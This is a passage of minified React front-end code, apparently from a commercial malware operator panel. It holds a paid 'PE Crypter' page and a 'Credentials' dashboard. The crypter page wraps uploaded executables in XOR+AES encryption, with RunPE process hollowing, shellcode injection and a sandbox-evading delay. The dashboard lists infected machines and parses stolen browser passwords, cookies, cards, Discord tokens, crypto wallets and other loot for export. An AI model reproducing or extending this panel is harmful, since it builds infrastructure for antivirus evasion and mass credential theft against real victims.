gap-0.5",children:Pa.map(_=>a.jsx("div",{className:`w-1.5 h-3 transition-colors duration-300 ${f[_.key]?"bg-zerin-accent":"bg-zerin-panel-border"}`},_.key))}),a.jsxs("span",{className:"font-mono text-[11px] text-zerin-text-dim",children:[P,"/",Pa.length]})]}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted border border-zerin-panel-border px-2 py-1 tracking-wider",children:"XOR + AES-256-CBC"})]})]}),a.jsx("div",{className:"flex-1 overflow-y-auto custom-scrollbar",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 py-6 space-y-5",children:[a.jsxs("div",{className:`relative overflow-hidden transition-all duration-300 cursor-pointer group + ${r?"border border-zerin-accent/30 bg-zerin-accent/[0.03]":w?"border-2 border-dashed border-zerin-accent bg-zerin-accent/5":"border border-dashed border-zerin-panel-border-hover hover:border-zerin-text-muted/30"}`,onDragOver:_=>{_.preventDefault(),j(!0)},onDragLeave:()=>j(!1),onDrop:G,onClick:()=>{var _;return!r&&((_=O.current)==null?void 0:_.click())},children:[!r&&a.jsx("div",{className:"absolute inset-0 overflow-hidden pointer-events-none opacity-[0.04]",children:a.jsx("div",{className:"font-mono text-[9px] leading-[14px] text-zerin-text whitespace-pre select-none pt-1 pl-3",style:{animation:"crypterHexScroll 30s linear infinite"},children:T.concat(T).map((_,M)=>a.jsx("div",{children:_},M))})}),!r&&!w&&a.jsx("div",{className:"crypter-scan-line"}),a.jsx("input",{ref:O,type:"file",accept:".exe",className:"hidden",onChange:_=>{var F;const M=(F=_.target.files)==null?void 0:F[0];M&&(i(M),S(!1))}}),r?a.jsxs("div",{className:"relative px-5 py-4 flex items-center gap-4",children:[a.jsx("div",{className:"flex-none w-10 h-10 bg-zerin-accent/10 border border-zerin-accent/25 flex items-center justify-center crypter-pulse-ring",children:a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M4.5 2A1.5 1.5 0 0 0 3 3.5v13A1.5 1.5 0 0 0 4.5 18h11a1.5 1.5 0 0 0 1.5-1.5V7.621a1.5 1.5 0 0 0-.44-1.06l-4.12-4.122A1.5 1.5 0 0 0 11.378 2H4.5Zm7.75 9.75a.75.75 0 0 0 0-1.5h-4.5a.75.75 0 0 0 0 1.5h4.5Z",clipRule:"evenodd"})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsx("div",{className:"font-mono text-sm text-zerin-text truncate",children:r.name}),a.jsxs("div",{className:"flex items-center gap-3 mt-0.5",children:[a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:r.size<1024*1024?`${(r.size/1024).toFixed(1)} KB`:`${(r.size/(1024*1024)).toFixed(2)} MB`}),a.jsx("span",{className:"text-zerin-panel-border",children:"·"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70",children:"PE32+ executable"})]})]}),a.jsx("button",{onClick:_=>{_.stopPropagation(),R()},className:"flex-none p-1.5 text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Remove file",children:a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M6.28 5.22a.75.75 0 0 0-1.06 1.06L8.94 10l-3.72 3.72a.75.75 0 1 0 1.06 1.06L10 11.06l3.72 3.72a.75.75 0 1 0 1.06-1.06L11.06 10l3.72-3.72a.75.75 0 0 0-1.06-1.06L10 8.94 6.28 5.22Z"})})})]}):a.jsxs("div",{className:"relative px-5 py-8 text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 border border-zerin-panel-border-hover flex items-center justify-center group-hover:border-zerin-text-muted/30 transition-colors",children:a.jsxs("svg",{className:"w-5 h-5 text-zerin-text-muted group-hover:text-zerin-text-dim transition-colors",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{d:"M9.25 13.25a.75.75 0 0 0 1.5 0V4.636l2.955 3.129a.75.75 0 0 0 1.09-1.03l-4.25-4.5a.75.75 0 0 0-1.09 0l-4.25 4.5a.75.75 0 1 0 1.09 1.03L9.25 4.636v8.614Z"}),a.jsx("path",{d:"M3.5 12.75a.75.75 0 0 0-1.5 0v2.5A2.75 2.75 0 0 0 4.75 18h10.5A2.75 2.75 0 0 0 18 15.25v-2.5a.75.75 0 0 0-1.5 0v2.5c0 .69-.56 1.25-1.25 1.25H4.75c-.69 0-1.25-.56-1.25-1.25v-2.5Z"})]})}),a.jsxs("p",{className:"font-mono text-sm text-zerin-text-dim",children:["Drop a ",a.jsx("span",{className:"text-zerin-accent",children:".exe"})," here or click to browse"]}),a.jsx("p",{className:"font-mono text-[11px] text-zerin-text-muted mt-1",children:"Max 50 MB · Windows PE executables only"})]})]}),a.jsxs("div",{className:"grid lg:grid-cols-5 gap-5",children:[a.jsxs("div",{className:"lg:col-span-3 space-y-5",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Injection Mode"})]}),a.jsxs("div",{className:"p-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[a.jsxs("button",{onClick:()=>o("runpe"),className:`relative p-4 text-left border transition-all duration-200 group/mode ${s==="runpe"?"border-zerin-accent bg-zerin-accent/[0.06]":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s==="runpe"&&a.jsx("div",{className:"absolute top-2 right-2 w-2 h-2 bg-zerin-accent"}),a.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[a.jsx("svg",{className:`w-4 h-4 ${s==="runpe"?"text-zerin-accent":"text-zerin-text-muted"}`,viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M15.98 1.804a1 1 0 0 0-1.96 0l-.24 1.192a1 1 0 0 1-.784.785l-1.192.238a1 1 0 0 0 0 1.962l1.192.238a1 1 0 0 1 .785.785l.238 1.192a1 1 0 0 0 1.962 0l.238-1.192a1 1 0 0 1 .785-.785l1.192-.238a1 1 0 0 0 0-1.962l-1.192-.238a1 1 0 0 1-.785-.785l-.238-1.192ZM6.949 5.684a1 1 0 0 0-1.898 0l-.683 2.051a1 1 0 0 1-.633.633l-2.051.683a1 1 0 0 0 0 1.898l2.051.684a1 1 0 0 1 .633.632l.683 2.051a1 1 0 0 0 1.898 0l.683-2.051a1 1 0 0 1 .633-.633l2.051-.683a1 1 0 0 0 0-1.898l-2.051-.683a1 1 0 0 1-.633-.633L6.95 5.684Z"})}),a.jsx("span",{className:`font-mono text-sm font-semibold ${s==="runpe"?"text-zerin-accent":"text-zerin-text-dim"}`,children:"RunPE"})]}),a.jsx("div",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:"Process hollowing — spawns target, unmaps image, writes payload into process memory space"})]}),a.jsxs("button",{onClick:()=>o("shellcode"),className:`relative p-4 text-left border transition-all duration-200 group/mode ${s==="shellcode"?"border-zerin-accent bg-zerin-accent/[0.06]":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s==="shellcode"&&a.jsx("div",{className:"absolute top-2 right-2 w-2 h-2 bg-zerin-accent"}),a.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[a.jsx("svg",{className:`w-4 h-4 ${s==="shellcode"?"text-zerin-accent":"text-zerin-text-muted"}`,viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M6.28 5.22a.75.75 0 0 1 0 1.06L2.56 10l3.72 3.72a.75.75 0 0 1-1.06 1.06L.97 10.53a.75.75 0 0 1 0-1.06l4.25-4.25a.75.75 0 0 1 1.06 0Zm7.44 0a.75.75 0 0 1 1.06 0l4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.75.75 0 0 1-1.06-1.06L17.44 10l-3.72-3.72a.75.75 0 0 1 0-1.06ZM11.377 2.011a.75.75 0 0 1 .612.867l-2.5 14.5a.75.75 0 0 1-1.478-.255l2.5-14.5a.75.75 0 0 1 .866-.612Z",clipRule:"evenodd"})}),a.jsx("span",{className:`font-mono text-sm font-semibold ${s==="shellcode"?"text-zerin-accent":"text-zerin-text-dim"}`,children:"Shellcode"})]}),a.jsx("div",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:"VirtualAlloc + new thread — allocates RWX memory, copies decrypted payload, creates execution thread"})]})]}),s==="runpe"&&a.jsxs("div",{className:"mt-4 pt-4 border-t border-zerin-panel-border",children:[a.jsx("div",{className:"flex items-center justify-between mb-2.5",children:a.jsx("label",{className:"font-mono text-[11px] text-zerin-text-muted uppercase tracking-wider",children:"Target Process"})}),a.jsx("div",{className:"flex flex-wrap gap-1.5 mb-2.5",children:IV.map(_=>a.jsx("button",{onClick:()=>c(_.path),className:`font-mono text-[11px] px-2 py-1 border transition-colors ${l===_.path?"border-zerin-accent/40 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,title:_.desc,children:_.label},_.path))}),a.jsx("input",{type:"text",value:l,onChange:_=>c(_.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none focus:ring-1 focus:ring-zerin-accent/20 transition-all",placeholder:"C:\\Windows\\System32\\svchost.exe"})]})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Execution Delay"})]}),a.jsxs("div",{className:"p-4",children:[a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("input",{type:"range",min:0,max:300,value:u,onChange:_=>d(parseInt(_.target.value)),className:"flex-1 h-1 bg-zerin-panel-border appearance-none cursor-pointer [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3 [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("input",{type:"number",min:0,max:300,value:u,onChange:_=>d(Math.max(0,Math.min(300,parseInt(_.target.value)||0))),className:"w-16 bg-zerin-bg border border-zerin-panel-border px-2 py-1.5 text-center text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:"sec"})]})]}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-2",children:u===0?"No delay — payload executes immediately after decryption":`Sleeps ${u}s before execution — evades sandbox timeout windows`})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Build Output"})]}),h&&a.jsxs("span",{className:"font-mono text-[11px] text-zerin-accent tabular-nums",children:[Math.round(g),"%"]})]}),(h||g>0)&&a.jsx("div",{className:"h-[2px] bg-zerin-bg",children:a.jsx("div",{className:`h-full transition-all duration-700 ease-out ${z?"bg-emerald-500":"bg-zerin-accent crypter-progress-glow"}`,style:{width:`${g}%`}})}),a.jsx("div",{ref:A,className:"h-36 overflow-y-auto custom-scrollbar px-4 py-3 bg-[#0A0A0C]",children:N.length===0&&!h?a.jsx("div",{className:"h-full flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/50",children:"Waiting for build..."})}):a.jsxs("div",{className:"space-y-0.5",children:[N.map((_,M)=>a.jsxs("div",{className:"font-mono text-[11px] leading-relaxed crypter-layer-enter flex items-start gap-2",style:{animationDelay:`${M*30}ms`},children:[a.jsx("span",{className:`flex-none ${_.includes("OK")||_.includes("complete")?"text-emerald-500":"text-zerin-accent/50"}`,children:_.includes("OK")||_.includes("complete")?"✓":"›"}),a.jsx("span",{className:_.includes("OK")||_.includes("complete")?"text-emerald-400/90":"text-zerin-text-dim",children:_})]},M)),h&&a.jsx("div",{className:"font-mono text-[11px] crypter-terminal-cursor",children:a.jsx("span",{className:"text-zerin-accent/50",children:"› "})})]})}),a.jsxs("div",{className:"p-4 border-t border-zerin-panel-border",children:[a.jsx("button",{onClick:K,disabled:!r||h,className:`w-full py-3 font-mono font-semibold text-sm tracking-wide transition-all duration-300 flex items-center justify-center gap-2 ${r?h?"bg-zerin-accent/20 border border-zerin-accent/30 text-zerin-accent cursor-wait":z?"bg-emerald-500/10 border border-emerald-500/30 text-emerald-400 hover:bg-emerald-500/15":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_24px_rgba(6,182,212,0.35)] active:scale-[0.99]":"bg-zerin-panel-hover border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed"}`,children:h?a.jsxs(a.Fragment,{children:[a.jsxs("svg",{className:"w-4 h-4 animate-spin",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Crypting..."]}):z?a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4 crypter-check-in",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M16.704 4.153a.75.75 0 0 1 .143 1.052l-8 10.5a.75.75 0 0 1-1.127.075l-4.5-4.5a.75.75 0 0 1 1.06-1.06l3.894 3.893 7.48-9.817a.75.75 0 0 1 1.05-.143Z",clipRule:"evenodd"})}),"Downloaded — Crypt Again"]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})}),"Crypt Payload"]})}),v&&a.jsxs("div",{className:"mt-3 px-3 py-2.5 border border-red-500/20 bg-red-500/5 flex items-start gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-red-400 flex-none mt-px",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 10a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-8-5a.75.75 0 0 1 .75.75v4.5a.75.75 0 0 1-1.5 0v-4.5A.75.75 0 0 1 10 5Zm0 10a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})}),a.jsx("span",{className:"text-red-400 text-sm font-mono",children:v})]})]})]})]}),a.jsxs("div",{className:"lg:col-span-2",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border lg:sticky lg:top-6",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Defense Layers"})]}),a.jsx("button",{onClick:()=>{const _=P===Pa.length,M={};Pa.forEach(F=>{M[F.key]=!_}),p(M)},className:"font-mono text-[10px] text-zerin-text-muted hover:text-zerin-accent transition-colors uppercase tracking-wider",children:P===Pa.length?"Clear All":"Enable All"})]}),a.jsx("div",{className:"divide-y divide-zerin-panel-border/50",children:Pa.map((_,M)=>{const F=f[_.key];return a.jsxs("button",{onClick:()=>D(_.key),className:`w-full text-left px-4 py-3.5 flex items-start gap-3 transition-all duration-200 group/layer ${F?"bg-zerin-accent/[0.04]":"hover:bg-zerin-panel-hover/50"}`,children:[a.jsx("div",{className:"flex-none pt-px",children:a.jsx("div",{className:`w-7 h-7 flex items-center justify-center border transition-all duration-300 ${F?"border-zerin-accent/40 bg-zerin-accent/15 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted group-hover/layer:border-zerin-panel-border-hover"}`,children:F?a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M16.704 4.153a.75.75 0 0 1 .143 1.052l-8 10.5a.75.75 0 0 1-1.127.075l-4.5-4.5a.75.75 0 0 1 1.06-1.06l3.894 3.893 7.48-9.817a.75.75 0 0 1 1.05-.143Z",clipRule:"evenodd"})}):a.jsx("span",{className:"font-mono text-[10px]",children:M+1})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`font-mono text-sm transition-colors ${F?"text-zerin-text":"text-zerin-text-dim"}`,children:_.label}),F&&a.jsx("span",{className:"w-1.5 h-1.5 bg-zerin-accent rounded-full flex-none"})]}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 leading-relaxed",children:_.desc})]}),a.jsx("div",{className:`flex-none pt-0.5 transition-colors ${F?"text-zerin-accent/60":"text-zerin-text-muted/40"}`,children:_.icon})]},_.key)})}),a.jsx("div",{className:"px-4 py-3 border-t border-zerin-panel-border bg-zerin-bg/50",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"w-3.5 h-3.5 text-zerin-accent/60",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1c-1.716 0-3.408.106-5.07.31C3.806 1.45 3 2.414 3 3.517V16.75A2.25 2.25 0 0 0 5.25 19h9.5A2.25 2.25 0 0 0 17 16.75V3.517c0-1.103-.806-2.068-1.93-2.207A41.403 41.403 0 0 0 10 1Z",clipRule:"evenodd"})}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:"Protection score"})]}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"flex gap-px",children:[1,2,3,4,5].map(_=>a.jsx("div",{className:`w-2.5 h-1 transition-colors duration-300 ${_<=P?"bg-zerin-accent":"bg-zerin-panel-border"}`},_))}),a.jsx("span",{className:`font-mono text-[11px] font-semibold tabular-nums ${P>=4?"text-zerin-accent":P>=2?"text-zerin-text-dim":"text-zerin-text-muted"}`,children:P===5?"MAX":`${P}/5`})]})]})})]}),a.jsx("div",{className:"mt-5 bg-zerin-panel border border-zerin-panel-border p-4 space-y-2.5",children:["XOR + AES-256-CBC layered encryption","Random keys per build — zero shared signatures","Fire-and-forget — no files stored on server","Stub compiled per-request with unique entropy"].map((_,M)=>a.jsxs("div",{className:"flex items-start gap-2.5",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-accent/50 mt-px",children:">"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:_})]},M))})]})]})]})})]}):a.jsxs("div",{className:"flex items-center justify-center min-h-[80vh] p-6",children:[a.jsx("style",{children:Xb}),a.jsxs("div",{className:"relative max-w-lg w-full",children:[a.jsx("div",{className:"absolute -inset-px bg-gradient-to-b from-zerin-accent/20 via-transparent to-transparent"}),a.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border p-10 text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 border border-zerin-panel-border-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})})}),a.jsx("div",{className:"font-mono text-xs text-zerin-accent/60 tracking-[0.3em] uppercase mb-2",children:"Premium Feature"}),a.jsx("h2",{className:"font-display text-2xl font-bold text-zerin-text mb-3",children:"PE Crypter"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-8 leading-relaxed max-w-sm mx-auto",children:"Layered XOR + AES-256 encryption with configurable injection modes, evasion layers, and per-build random keys."}),a.jsxs(xt,{to:"/#pricing",className:"inline-flex items-center gap-2 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 hover:shadow-[0_0_24px_rgba(6,182,212,0.3)] transition-all duration-300",children:["Upgrade License",a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5.22 14.78a.75.75 0 0 0 1.06 0l7.22-7.22v5.69a.75.75 0 0 0 1.5 0v-7.5a.75.75 0 0 0-.75-.75h-7.5a.75.75 0 0 0 0 1.5h5.69l-7.22 7.22a.75.75 0 0 0 0 1.06Z",clipRule:"evenodd"})})]})]})]})]})}function $V(e){const t=Date.now()-new Date(e).getTime(),n=Math.floor(t/6e4);if(n<1)return"just now";if(n<60)return`${n}m ago`;const r=Math.floor(n/60);return r<24?`${r}h ago`:`${Math.floor(r/24)}d ago`}function Zb(e){const t=new Date(e);return t.toLocaleDateString("en-US",{month:"short",day:"numeric",year:"numeric"})+" "+t.toLocaleTimeString("en-US",{hour:"2-digit",minute:"2-digit"})}function yr(e,t){try{const n=atob(e),r=new Uint8Array(n.length);for(let l=0;la.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})});function BV(){var A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze,X,re,oe,Oe,et;const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(""),[o,l]=m.useState(null),[c,u]=m.useState(null),[d,f]=m.useState(new Set),[p,h]=m.useState(null),[x,g]=m.useState(""),[y,v]=m.useState(new Set),b=m.useCallback(async()=>{try{const L=await w6();t(L)}catch(L){s(L instanceof Error?L.message:"Failed to load credentials")}finally{r(!1)}},[]);m.useEffect(()=>{b()},[b]);const w=(()=>{const L=new Map;for(const ie of e){let de=L.get(ie.agent_id);de||(de={agent_id:ie.agent_id,hostname:ie.hostname,username:ie.username,os_version:ie.os_version,grabs:[]},L.set(ie.agent_id,de)),de.grabs.push({task_id:ie.task_id,output:ie.output,received_at:ie.received_at})}return Array.from(L.values())})(),j=x?w.filter(L=>L.hostname.toLowerCase().includes(x.toLowerCase())||L.username.toLowerCase().includes(x.toLowerCase())||L.agent_id.toLowerCase().includes(x.toLowerCase())):w,N=(L,ie)=>{var de,lt,Ct,Lt,gr,Qr,Li,As,Cf,Jr,bt,rn,zv,Sv,Cv,Pv,Ev,_v,Av;l({agent:L,grabIdx:ie});try{const ct=JSON.parse(L.grabs[ie].output);u(ct);const yn=new Set;(((de=ct.chrome_passwords)==null?void 0:de.length)??0)+(((lt=ct.firefox_passwords)==null?void 0:lt.length)??0)>0&&yn.add("passwords"),(Ct=ct.chrome_cookies)!=null&&Ct.length&&yn.add("cookies"),(Lt=ct.chrome_cards)!=null&&Lt.length&&yn.add("cards"),(gr=ct.wifi)!=null&&gr.length&&yn.add("wifi"),(Qr=ct.windows_credentials)!=null&&Qr.length&&yn.add("wincreds"),(Li=ct.discord_tokens)!=null&&Li.length&&yn.add("discord"),((As=ct.telegram)!=null&&As.found||(Cf=ct.filezilla)!=null&&Cf.length||(Jr=ct.winscp)!=null&&Jr.length||(bt=ct.putty)!=null&&bt.length||(rn=ct.outlook)!=null&&rn.length)&&yn.add("apps"),((zv=ct.steam)!=null&&zv.found||(Sv=ct.epic)!=null&&Sv.found||(Cv=ct.minecraft)!=null&&Cv.length||(Pv=ct.roblox)!=null&&Pv.found)&&yn.add("gaming"),(Ev=ct.wallets)!=null&&Ev.length&&yn.add("wallets"),(_v=ct.vpn)!=null&&_v.length&&yn.add("vpn"),(Av=ct.errors)!=null&&Av.length&&yn.add("errors"),f(yn)}catch{u(null)}},k=L=>{f(ie=>{const de=new Set(ie);return de.has(L)?de.delete(L):de.add(L),de})},z=L=>{v(ie=>{const de=new Set(ie);return de.has(L)?de.delete(L):de.add(L),de})},S=(L,ie)=>{navigator.clipboard.writeText(L).then(()=>{const de=ie?ie.clientX:window.innerWidth/2,lt=ie?ie.clientY-30:window.innerHeight/2;h({text:"Copied!",x:de,y:lt}),setTimeout(()=>h(null),1200)}).catch(()=>{})},O=()=>{if(!c||!o)return;const L=new Blob([JSON.stringify(c,null,2)],{type:"application/json"}),ie=URL.createObjectURL(L),de=document.createElement("a");de.href=ie,de.download=`creds_${o.agent.hostname}_${o.agent.grabs[o.grabIdx].task_id.slice(0,8)}.json`,de.click(),URL.revokeObjectURL(ie)};return n?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"})}):i?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-6 py-4 text-sm text-zerin-danger max-w-md",children:i})}):a.jsxs("div",{className:"flex h-full animate-fade-in",children:[a.jsxs("div",{className:"w-80 flex-shrink-0 border-r border-zerin-panel-border flex flex-col bg-zerin-panel/50",children:[a.jsxs("div",{className:"px-4 py-4 border-b border-zerin-panel-border",children:[a.jsxs("div",{className:"flex items-center justify-between mb-3",children:[a.jsx("h1",{className:"text-sm font-semibold text-zerin-text tracking-wide",children:"Credentials"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:[w.length," client",w.length!==1?"s":""]})]}),a.jsxs("div",{className:"relative",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:x,onChange:L=>g(L.target.value),placeholder:"Filter by host, user, or ID...",className:`w-full bg-zerin-bg border border-zerin-panel-border text-xs text-zerin-text\r + placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r + transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(L=>{const ie=y.has(L.agent_id),de=(o==null?void 0:o.agent.agent_id)===L.agent_id,lt=L.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?Qb(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{L.grabs.length===1?N(L,0):(z(L.agent_id),!ie&&!de&&N(L,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50 + ${de?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:L.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:L.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:L.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[L.grabs.length," grab",L.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:$V(lt.received_at)})]})]}),L.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ie?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] text-zerin-text-muted",children:[L.grabs.length," historical 